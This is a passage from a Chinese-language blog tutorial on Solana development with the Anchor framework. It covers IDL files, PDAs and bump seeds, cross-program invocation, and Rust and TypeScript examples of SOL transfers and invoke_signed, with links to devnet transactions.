<span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;message&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;string&quot;</span> <span class="punctuation">&#125;</span><span class="punctuation">]</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>这个 IDL 代表的功能</strong></p><ul><li><strong>合约名称：</strong> hello_world</li><li><strong>方法 sendMessage</strong></li><li>需要两个账户：<ul><li>user：用户账户（需要签名）</li><li>messageAccount：存储消息的账户</li></ul></li><li>需要 <strong>一个参数</strong>：message（字符串类型）</li><li><strong>accounts</strong>：定义了 MessageAccount 结构体，用于存储消息。</li></ul><p>Anchor 提供了 <strong>TypeScript SDK</strong>，可以用 IDL 自动生成智能合约调用代码：</p><figure class="highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; <span class="title class_">Program</span>, <span class="title class_">AnchorProvider</span>, web3 &#125; <span class="keyword">from</span> <span class="string">&quot;@project-serum/anchor&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 读取 IDL</span></span><br><span class="line"><span class="keyword">import</span> idl <span class="keyword">from</span> <span class="string">&quot;./hello_world.json&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 连接 Solana 钱包</span></span><br><span class="line"><span class="keyword">const</span> provider = <span class="title class_">AnchorProvider</span>.<span class="title function_">env</span>();</span><br><span class="line"><span class="keyword">const</span> programId = <span class="keyword">new</span> web3.<span class="title class_">PublicKey</span>(idl.<span class="property">metadata</span>.<span class="property">address</span>);</span><br><span class="line"><span class="keyword">const</span> program = <span class="keyword">new</span> <span class="title class_">Program</span>(idl, programId, provider);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 调用合约方法</span></span><br><span class="line"><span class="keyword">await</span> program.<span class="property">rpc</span>.<span class="title function_">sendMessage</span>(<span class="string">&quot;Hello, Solana!&quot;</span>, &#123;</span><br><span class="line">  <span class="attr">accounts</span>: &#123;</span><br><span class="line">    <span class="attr">user</span>: provider.<span class="property">wallet</span>.<span class="property">publicKey</span>,</span><br><span class="line">    <span class="attr">messageAccount</span>: messageAccountPubkey,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>在build那一块，还有一个 <strong>IDL initialize。</strong> 在 Anchor 框架中，<strong>每个智能合约都可以新创建一个数据账户，存储它的 IDL</strong>，这样客户端（如前端应用）可以自动查询合约的调用方法，而不需要提前知道函数签名。下面的交易就把 IDL 写入了程序可执行数据，同时也是初始化合约：</p><p><a href="https://solscan.io/tx/56iyiL1K5LJ6ieToWsEaPZABTWoJ1jhf3GTdPvDZ3VQ8CQ1QTd5gJ4SU8EurhuGzm9nmZkthNXoLjmDe8rVtKDr?cluster=devnet">https://solscan.io/tx/56iyiL1K5LJ6ieToWsEaPZABTWoJ1jhf3GTdPvDZ3VQ8CQ1QTd5gJ4SU8EurhuGzm9nmZkthNXoLjmDe8rVtKDr?cluster=devnet</a></p><img src="https://cdn.blog-blockchain.xyz/2025/05/7f276736af4538af2134e935c4736503.png" alt="image-20250518223856453"  /><figure class="highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ anchor idl fetch <span class="title class_">Nyy8</span>sfuyeXq15QHiwaM1eKcVLnQ95EDdXdZ6XujeiHV</span><br><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;version&quot;</span>: <span class="string">&quot;0.1.0&quot;</span>,</span><br><span class="line">  <span class="string">&quot;name&quot;</span>: <span class="string">&quot;hello_world&quot;</span>,</span><br><span class="line">  <span class="string">&quot;instructions&quot;</span>: [</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="string">&quot;name&quot;</span>: <span class="string">&quot;hello&quot;</span>,</span><br><span class="line">      <span class="string">&quot;accounts&quot;</span>: [],</span><br><span class="line">      <span class="string">&quot;args&quot;</span>: []</span><br><span class="line">    &#125;</span><br><span class="line">  ]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这就是IDL存储的账户 <a href="https://solscan.io/account/5FM1QHSWeVZVx3v37CezJcXv4VJstN1F7jmGoLwbt7Ck?cluster=devnet">https://solscan.io/account/5FM1QHSWeVZVx3v37CezJcXv4VJstN1F7jmGoLwbt7Ck?cluster=devnet</a> ，</p><figure class="highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$ solana account 5FM1QHSWeVZVx3v37CezJcXv4VJstN1F7jmGoLwbt7Ck --output json</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;pubkey&quot;</span>: <span class="string">&quot;5FM1QHSWeVZVx3v37CezJcXv4VJstN1F7jmGoLwbt7Ck&quot;</span>,</span><br><span class="line">  <span class="string">&quot;account&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;lamports&quot;</span>: <span class="number">2394240</span>,</span><br><span class="line">    <span class="string">&quot;data&quot;</span>: [</span><br><span class="line">      <span class="string">&quot;GEZivzqQe54zP1pfirECcDdGqmQMSSKrf+6UjiGboWnSBMxnCs/vR1YAAAB4nFWKQQqAIBBF7zLrENt6lZAQkxJsBsaxFuLdm9q1+++/1+FKXDMhOLBmNhYmwHAmxSOVQutNXDY9M1bhFkXTCm7pv0p9iJEayuu8Eu/fGn48MYwgrwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;</span>,</span><br><span class="line">      <span class="string">&quot;base64&quot;</span></span><br><span class="line">    ],</span><br><span class="line">    <span class="string">&quot;owner&quot;</span>: <span class="string">&quot;Nyy8sfuyeXq15QHiwaM1eKcVLnQ95EDdXdZ6XujeiHV&quot;</span>,</span><br><span class="line">    <span class="string">&quot;executable&quot;</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="string">&quot;rentEpoch&quot;</span>: <span class="number">18446744073709551615</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-6-PDA（Program-Derived-Address，程序派生地址）">4.6 PDA（Program Derived Address，程序派生地址）</h3><p>上面存储IDL就是使用了PDA，程序控制这个地址。它由特定的种子（seeds）和程序ID（Program ID）通过确定性算法计算出来。PDA 允许程序生成可预测但安全的地址，用于存储状态数据，而无需用户手动创建账户或提供签名。</p><ul><li>PDA 是由种子（seeds）+ Program ID 确定性派生出的唯一地址。</li><li>PDA 不是普通公私钥对生成的，它没有对应的私钥，只能由特定的 Solana 程序（Program）管理。</li><li>PDA 账户只能由程序自身（Program）签名，而不能由外部私钥签名，这确保了只有合约代码能够修改 PDA。</li></ul><p>这里有2个参数：</p><ul><li><strong>种子（Seeds）</strong>：可以是静态值（如 “hello_world”）或动态值（如用户的公钥）。</li><li><strong>bump（防撞值）</strong>：一个自动计算的<strong>额外字节</strong>，确保生成的地址不落在 Ed25519 曲线上，以防止被外部签名。</li></ul><blockquote><p><strong>bump值详解</strong>：<br>bump值是一个0-255之间的数字，用于确保生成的PDA不在Ed25519椭圆曲线上（即没有对应的私钥）。为什么需要这个bump值？因为如果PDA落在了曲线上，理论上有人可以找到其私钥并直接签名，这会破坏PDA的安全模型。</p><p>Solana在生成PDA时，从255开始递减bump值，直到找到一个不在曲线上的地址。在实践中，findProgramAddress函数会自动执行这个过程并返回找到的第一个有效bump值（通常称为&quot;canonical bump&quot;）。</p><p>当程序需要验证PDA时，它会重新计算地址（使用相同的种子和bump值），确保请求来自合法的程序。这整个机制使得PDA可以&quot;代表&quot;程序进行签名操作，而无需实际私钥。</p></blockquote><p>在 Solana 上，智能合约不能直接修改用户的账户数据，而是使用 <strong>PDA（Program Derived Address）</strong> 作为合约的状态存储。例如：</p><ul><li><strong>在 SPL Token 程序中，每个用户的 amount 存在 PDA 账户</strong>。</li><li><strong>在 NFT 合约中，元数据（Metadata）存储在 PDA 账户</strong>。</li><li><strong>在 DeFi 应用中，用户的流动性仓位信息存储在 PDA</strong>。</li></ul><blockquote><p><strong>PDA的实际应用场景</strong>：</p><ol><li><strong>确定性地址生成</strong>：为每个用户生成唯一且可预测的账户地址</li><li><strong>跨程序权限</strong>：允许一个程序代表另一个程序签名和操作账户</li><li><strong>数据关联</strong>：将相关数据组织在一起，例如用户A在项目B中的仓位数据</li><li><strong>省去交易签名</strong>：用户只需授权程序一次，后续操作可由程序通过PDA完成</li></ol></blockquote><h3 id="4-7-CPI-跨程序调用">4.7 CPI 跨程序调用</h3><blockquote><p><strong>CPI解决的核心问题</strong>：CPI允许程序间合作，就像Web2中的API调用。这使得区块链上可以构建复杂的应用生态系统，一个程序可以利用另一个程序已经实现的功能。</p></blockquote><p>在 Solana 上，每个智能合约（Program）都是<strong>独立的 BPF 程序</strong>，默认情况下，程序<strong>只能操作它自己拥有的账户</strong>，不能直接修改<strong>其他程序管理的账户</strong>。但 Solana 允许一个<strong>智能合约调用另一个智能合约的指令</strong>，这就是 <strong>CPI（跨程序调用）</strong>。</p><p>你的合约可以调用 <strong>系统程序（System Program）</strong> 的 transfer 指令进行 SOL 转账。你的合约可以调用 <strong>SPL Token Program</strong>，直接管理 SPL 代币账户（比如 mint、transfer）。你的合约可以与 <strong>其他 DeFi 合约</strong> 交互，实现组合式金融（Composability）。</p><blockquote><p><strong>CPI实际应用示例</strong>：</p><p><strong>DEX与流动性池</strong>：当你在Jupiter等DEX上交换代币时，底层涉及多个程序间的CPI调用：</p><ol><li>用户交易程序调用SPL Token程序转移用户代币</li><li>用户交易程序调用流动性池程序执行兑换</li><li>流动性池程序再次调用SPL Token程序发送交换后的代币</li></ol><p><strong>NFT铸造过程</strong>：</p><ol><li>NFT铸造程序调用System Program创建新的Metadata账户</li><li>NFT铸造程序调用Token-Metadata程序初始化NFT元数据</li><li>NFT铸造程序调用SPL Token程序铸造唯一代币</li></ol><p>这种程序间协作能力是Solana生态系统强大的核心原因之一。</p></blockquote><p>由于 CPI 允许<strong>一个合约调用另一个合约</strong>，这可能带来<strong>权限问题</strong>。Solana 采用 <strong>PDA（Program Derived Address）+ invoke_signed</strong> 作为签名方式，确保：</p><p>✅ 只有<strong>特定的合约可以执行某些操作</strong>。</p><p>✅ PDA 作为<strong>程序管理的账户</strong>，由特定合约控制。</p><h3 id="4-8-调用上下文">4.8 调用上下文</h3><blockquote><p><strong>Context的重要性</strong>：调用上下文是Solana程序安全性的基础。它明确规定了程序可以访问哪些账户、哪些账户需要签名以及哪些账户可以被修改。这种显式的账户访问控制是Solana能够实现并行处理的关键前提，也大大减少了智能合约漏洞的风险。</p></blockquote><p>我们提到Solana的程序分成3个部分，程序逻辑，链上数据结构，调用上下文。下面来学习这个上下文。</p><p>在 Solana 上，<strong>每个交易都会传递一个调用上下文（Context）</strong>，它包含：</p><ul><li>当前交易涉及的所有账户信息（AccountInfo）。</li><li>交易签名者信息（Signer）。</li><li>程序调用的依赖（如 System Program）。</li></ul><blockquote><p><strong>与以太坊的区别</strong>：在以太坊中，合约可以在执行过程中动态访问任何存储位置或调用任何合约，这限制了并行执行能力。而Solana要求预先声明所有需要访问的账户，这使运行时能够预先检测并发冲突，实现真正的并行处理。</p></blockquote><p><strong>1️⃣ Context<T> 结构解析</strong></p><p>以这个项目为例子：<a href="https://beta.solpg.io/66df2751cffcf4b13384d35a">https://beta.solpg.io/66df2751cffcf4b13384d35a</a></p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">sol_transfer</span>(ctx: Context&lt;SolTransfer&gt;, amount: <span class="type">u64</span>) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;()&gt; &#123;</span><br></pre></td></tr></table></figure><p>调用上下文是通过 Context<T> 传递的，Context<SolTransfer>，包含当前指令需要的账户。</p><p><strong>2️⃣ Accounts 结构解析</strong></p><p>SolTransfer 结构定义了<strong>所有需要的账户信息</strong>。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#[derive(Accounts)]</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">SolTransfer</span>&lt;<span class="symbol">&#x27;info</span>&gt; &#123;</span><br><span class="line">    <span class="meta">#[account(mut)]</span></span><br><span class="line">    sender: Signer&lt;<span class="symbol">&#x27;info</span>&gt;, <span class="comment">// 交易发起者，必须是签名者</span></span><br><span class="line">    <span class="meta">#[account(mut)]</span></span><br><span class="line">    recipient: SystemAccount&lt;<span class="symbol">&#x27;info</span>&gt;, <span class="comment">// 接收 SOL 的账户</span></span><br><span class="line">    system_program: Program&lt;<span class="symbol">&#x27;info</span>, System&gt;, <span class="comment">// 系统程序</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>Signer 表示这个账户必须提供交易签名，否则交易会失败。mut（可变）意味着交易可能会修改 sender 的 SOL 余额。</li><li>SystemAccount 是普通 SOL 账户，只能存 SOL，不能存储其他数据。普通 SOL账户的管理者是 System Program。</li><li>Program&lt;'info, System&gt; 代表 System Program，用于调用系统指令（如 transfer）。这个账户的 owner 必须是 BPFLoader，否则交易会失败。</li></ul><p><strong>3️⃣ 通过 Context 获取账户信息</strong></p><p>在合约函数中，我们可以通过 ctx.accounts 访问传入的账户。 to_account_info() 的作用是转化成AccountInfo，Solana 底层账户对象，包含：key（公钥）、lamports（SOL 余额）、owner（账户所属的合约）、is_signer（是否是签名者）。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">sol_transfer</span>(ctx: Context&lt;SolTransfer&gt;, amount: <span class="type">u64</span>) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;()&gt; &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">from_pubkey</span> = ctx.accounts.sender.<span class="title function_ invoke__">to_account_info</span>();</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">to_pubkey</span> = ctx.accounts.recipient.<span class="title function_ invoke__">to_account_info</span>();</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">program_id</span> = ctx.accounts.system_program.<span class="title function_ invoke__">to_account_info</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>4️⃣ CpiContext::new 创建调用上下文</strong></p><p>CpiContext::new 用于构造 CPI（跨程序调用）所需的 <strong>调用上下文</strong>，它告诉 Solana：</p><ol><li><strong>我要调用哪个合约（Program ID）？</strong></li><li><strong>我要传递哪些账户？</strong></li><li><strong>我是否需要 PDA 作为签名者？（可选）</strong></li></ol><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">cpi_context</span> = CpiContext::<span class="title function_ invoke__">new</span>(</span><br><span class="line">    program_id, <span class="comment">// 要调用的合约（System Program）</span></span><br><span class="line">    Transfer &#123; <span class="comment">//  System Program 的 SOL 转账指令</span></span><br><span class="line">        from: from_pubkey, <span class="comment">// 付款账户</span></span><br><span class="line">        to: to_pubkey, <span class="comment">// 接收账户</span></span><br><span class="line">    &#125;,</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>5️⃣执行指令</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 执行转账</span></span><br><span class="line"><span class="title function_ invoke__">transfer</span>(cpi_context, amount)?;</span><br></pre></td></tr></table></figure><p>回顾IDL知识：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0.1.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;cpi&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;instructions&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;solTransfer&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;accounts&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span> <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;sender&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;isMut&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span> <span class="attr">&quot;isSigner&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span> <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span> <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;recipient&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;isMut&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span> <span class="attr">&quot;isSigner&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span> <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span> <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;systemProgram&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;isMut&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span> <span class="attr">&quot;isSigner&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span> <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;args&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">&#123;</span> <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;amount&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;u64&quot;</span> <span class="punctuation">&#125;</span><span class="punctuation">]</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><a href="https://solscan.io/tx/3vzVz8EHT5DQYgzbJmW8GbjZCST8LbadsVD37fzCFNKKiDEWXdnokqbtn7DVdN86AdKCgdesDBa9FPX6WvAfgiwi?cluster=devnet">https://solscan.io/tx/3vzVz8EHT5DQYgzbJmW8GbjZCST8LbadsVD37fzCFNKKiDEWXdnokqbtn7DVdN86AdKCgdesDBa9FPX6WvAfgiwi?cluster=devnet</a> 调用后就成功转账了。</p><p>除了上面的创建上下文的调用方式，可以直接组装指令的形式，然后调用，比如：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">sol_transfer_two</span>(ctx: Context&lt;SolTransfer&gt;, amount: <span class="type">u64</span>) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;()&gt; &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">from_pubkey</span> = ctx.accounts.sender.<span class="title function_ invoke__">to_account_info</span>();</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">to_pubkey</span> = ctx.accounts.recipient.<span class="title function_ invoke__">to_account_info</span>();</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">program_id</span> = ctx.accounts.system_program.<span class="title function_ invoke__">to_account_info</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">instruction</span> =</span><br><span class="line">        &amp;system_instruction::<span class="title function_ invoke__">transfer</span>(&amp;from_pubkey.<span class="title function_ invoke__">key</span>(), &amp;to_pubkey.<span class="title function_ invoke__">key</span>(), amount);</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">invoke</span>(instruction, &amp;[from_pubkey, to_pubkey, program_id])?;</span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面是利用已知的指令结构，填入对应字段组装的。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">sol_transfer_three</span>(ctx: Context&lt;SolTransfer&gt;, amount: <span class="type">u64</span>) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;()&gt; &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">from_pubkey</span> = ctx.accounts.sender.<span class="title function_ invoke__">to_account_info</span>();</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">to_pubkey</span> = ctx.accounts.recipient.<span class="title function_ invoke__">to_account_info</span>();</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">program_id</span> = ctx.accounts.system_program.<span class="title function_ invoke__">to_account_info</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Prepare instruction AccountMetas</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">account_metas</span> = <span class="built_in">vec!</span>[</span><br><span class="line">        AccountMeta::<span class="title function_ invoke__">new</span>(from_pubkey.<span class="title function_ invoke__">key</span>(), <span class="literal">true</span>),</span><br><span class="line">        AccountMeta::<span class="title function_ invoke__">new</span>(to_pubkey.<span class="title function_ invoke__">key</span>(), <span class="literal">false</span>),</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// SOL transfer instruction discriminator</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">instruction_discriminator</span>: <span class="type">u32</span> = <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Prepare instruction data</span></span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">instruction_data</span> = <span class="type">Vec</span>::<span class="title function_ invoke__">with_capacity</span>(<span class="number">4</span> + <span class="number">8</span>);</span><br><span class="line">    instruction_data.<span class="title function_ invoke__">extend_from_slice</span>(&amp;instruction_discriminator.<span class="title function_ invoke__">to_le_bytes</span>());</span><br><span class="line">    instruction_data.<span class="title function_ invoke__">extend_from_slice</span>(&amp;amount.<span class="title function_ invoke__">to_le_bytes</span>());</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Create instruction</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">instruction</span> = Instruction &#123;</span><br><span class="line">        program_id: program_id.<span class="title function_ invoke__">key</span>(),</span><br><span class="line">        accounts: account_metas,</span><br><span class="line">        data: instruction_data,</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Invoke instruction</span></span><br><span class="line">    <span class="title function_ invoke__">invoke</span>(&amp;instruction, &amp;[from_pubkey, to_pubkey, program_id])?;</span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面则是直接手动填充指令字节。但是注意，不能用完整的 AccountInfo了，而是要用 AccountMeta。</p><p>指令的结构是：[方法 ID (4字节)] + [方法参数 (Borsh 编码)]。在Anchor中，指令的标识是用指令的位置索引。</p><h3 id="4-9-invoke-signed">4.9 invoke_signed</h3><p>上面的例子，我们是要求 from_pubkey 是可签名的，也就是EOA。但是如果是程序控制的PDA，是没有自己的私钥的，也就是无法作为signer。那么需要另外的机制来实现。invoke_signed 允许 PDA<strong>在没有私钥的情况下</strong>作为<strong>签名者</strong>，执行合约调用。具体来说让<strong>Solana 根据 PDA 账户的 seeds 和 bump 验证身份</strong>。</p><p>代码例子参考：<a href="https://beta.solpg.io/66df2bd2cffcf4b13384d35b">https://beta.solpg.io/66df2bd2cffcf4b13384d35b</a></p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#[account(</span></span><br><span class="line"><span class="meta">    mut,</span></span><br><span class="line"><span class="meta">    seeds = [b<span class="string">&quot;pda&quot;</span>, recipient.key().as_ref()]</span>,</span><br><span class="line">    bump,</span><br><span class="line">)]</span><br><span class="line">pda_account: SystemAccount&lt;<span class="symbol">&#x27;info</span>&gt;,</span><br></pre></td></tr></table></figure><p>相比一般的账户，添加了seeds， <code>pda</code> 作为计算基础，recipient 账户的公钥作为动态种子。bump：自动计算的值，保证 PDA 地址是有效的 Solana 账户地址。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">seed</span> = to_pubkey.<span class="title function_ invoke__">key</span>();</span><br><span class="line"><span class="keyword">let</span> <span class="variable">bump_seed</span> = ctx.bumps.pda_account;</span><br><span class="line"><span class="keyword">let</span> <span class="variable">signer_seeds</span>: &amp;[&amp;[&amp;[<span class="type">u8</span>]]] = &amp;[&amp;[<span class="string">b&quot;pda&quot;</span>, seed.<span class="title function_ invoke__">as_ref</span>(), &amp;[bump_seed]]];</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> <span class="variable">cpi_context</span> = CpiContext::<span class="title function_ invoke__">new</span>(</span><br><span class="line">    program_id,</span><br><span class="line">    Transfer &#123;</span><br><span class="line">        from: from_pubkey,</span><br><span class="line">        to: to_pubkey,</span><br><span class="line">    &#125;,</span><br><span class="line">)</span><br><span class="line">.<span class="title function_ invoke__">with_signer</span>(signer_seeds);</span><br></pre></td></tr></table></figure><p>程序解析的时候，计算这个signer_seeds。如果程序和声明的 seeds 和 bump 不匹配，就会生成错误的PDA，交易失败。</p><p>根据测试用例，我们首先计算的PDA，依赖钱包地址生成的。</p><p>交易：<a href="https://solscan.io/tx/5PL2Q4ALWKNSgz3htANjexPyZm43tfnT8XsTGgBwdV5EjKBXb4TKimUGz4JKhgZUMTXJhtK6Mg5KtNQd9pQyXLh4?cluster=devnet">https://solscan.io/tx/5PL2Q4ALWKNSgz3htANjexPyZm43tfnT8XsTGgBwdV5EjKBXb4TKimUGz4JKhgZUMTXJhtK6Mg5KtNQd9pQyXLh4?cluster=devnet</a></p><p>PDA: <a 